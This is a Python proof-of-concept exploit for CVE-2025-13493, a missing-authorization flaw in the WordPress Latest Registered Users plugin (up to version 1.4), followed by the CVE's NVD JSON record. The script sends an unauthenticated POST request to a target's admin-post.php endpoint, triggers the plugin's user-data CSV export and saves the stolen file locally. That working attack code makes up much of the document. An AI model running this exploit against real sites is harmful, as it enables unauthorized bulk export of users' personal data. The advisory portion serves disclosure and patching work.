CVE-2025-13493

import requests import sys ''' CVE-2025-13493 PoC WordPress Latest Registered Users Plugin < 1.5 - Unauthorized User Data Export CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Description: Missing authorization and nonce validation in rnd_handle_form_submit allows unauthenticated attackers to export complete user details in CSV format. Usage: python poc.py <target_url> Example: python poc.py http://victim.com/wp-admin/admin-post.php ''' def exploit(target_url): """ Exploit the missing authorization vulnerability in Latest Registered Users plugin. The plugin hooks to admin_post_my_simple_form and admin_post_nopriv_my_simple_form without proper authorization checks. """ # Prepare the exploit payload # The 'action' parameter must be set to 'my_simple_form' to trigger the export data = { 'action': 'my_simple_form', 'export_format': 'csv' # Request CSV export format } print(f'[*] Sending exploit request to: {target_url}') print(f'[*] Action parameter: {data["action"]}') try: # Send POST request without authentication # admin_post_nopriv_my_simple_form allows unauthenticated access response = requests.post(target_url, data=data, timeout=30) print(f'[*] Response Status Code: {response.status_code}') print(f'[*] Response Content-Type: {response.headers.get("Content-Type", "unknown")}') # Check if CSV data was returned if 'text/csv' in response.headers.get('Content-Type', '').lower() or \ 'attachment' in response.headers.get('Content-Disposition', '').lower(): print('[+] SUCCESS: CSV export received!') print(f'[+] Content length: {len(response.content)} bytes') # Save the exported CSV data with open('exported_users.csv', 'wb') as f: f.write(response.content) print('[+] CSV data saved to: exported_users.csv') return True else: print('[-] Response does not appear to be CSV data') print(f'[-] Response preview: {response.text[:500]}') return False except requests.RequestException as e: print(f'[-] Request failed: {str(e)}') return False def main(): if len(sys.argv) < 2: print('Usage: python poc.py <target_url>') print('Example: python poc.py http://victim.com/wp-admin/admin-post.php') sys.exit(1) target_url = sys.argv[1] exploit(target_url) if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-13493", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:48.030", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Latest Registered Users plugin for WordPress is vulnerable to unauthorized user data export in all versions up to, and including, 1.4. This is due to missing authorization and nonce validation in the rnd_handle_form_submit function hooked to both admin_post_my_simple_form and admin_post_nopriv_my_simple_form actions. This makes it possible for unauthenticated attackers to export complete user details (excluding passwords and sensitive tokens) in CSV format via the 'action' parameter."}, {"lang": "es", "value": "El plugin Latest Registered Users para WordPress es vulnerable a la exportación no autorizada de datos de usuario en todas las versiones hasta la 1.4, inclusive. Esto se debe a la falta de autorización y validación de nonce en la función rnd_handle_form_submit, enganchada a las acciones admin_post_my_simple_form y admin_post_nopriv_my_simple_form. Esto permite a atacantes no autenticados exportar detalles completos de usuario (excluyendo contraseñas y tokens sensibles) en formato CSV a través del parámetro 'action'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/latest-registered-users/tags/1.4/latest-registered-users.php#L246", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latest-registered-users/trunk/latest-registered-users.php#L246", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latest-registered-users/trunk/latest-registered-users.php#L66", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6139543-81e3-480a-93a4-1d87b3f3f51e?source=cve", "source": "[email protected]"}]}}